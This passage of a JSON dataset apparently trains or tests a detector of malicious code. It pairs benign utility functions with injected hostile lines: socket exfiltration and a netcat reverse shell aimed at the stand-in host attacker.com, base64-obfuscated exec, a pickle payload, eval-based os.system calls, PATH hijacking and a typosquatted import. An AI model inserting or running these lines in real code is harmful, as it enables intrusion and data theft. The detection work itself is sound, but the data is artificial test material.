"unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_dcbb269d", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fp_55226e2e", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_cc19077d", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_e78286b0", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_72f30b54", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_da675980", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_3e066360", + "type": "functional", + "code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_de9c49e2", + "type": "functional", + "code_snippet": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_e7cebec2", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_76fce328", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_a63a9f94", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_d323fd54", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_13dfee9c", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_92fc3cc7", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_a009224b", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fp_a67f1951", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_f33dcc6e", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_31d7503d", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_9c71fc6f", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_1024b58b", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_7deebf5b", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_1a6bef29", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_76b076e9", + "type": "functional", + "code_snippet": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_d75e364c", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_a4b90d51", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_432cddc6", + "type": "functional", + "code_snippet": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_a8e21759", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_f373a253", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_92119770", + "type": "functional", + "code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_802790a6", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_8591eabe", + "type": "functional", + "code_snippet": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_ddaec473", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_1ac4b61e", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_343639f2", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_d4c2e616", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_57a29abd", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_32c8130d", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_cf250979", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_22c0f2e1", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_77f63f90", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_095224bc", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_85efc81f", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fn_3b796cc2", + "type": "functional", + "code_snippet": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_1d9f7069", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_822d8123", + "type": "functional", + "code_snippet": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_1f22501d", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_e9911609", + "type": "functional", + "code_snippet": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_aa898a16", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", 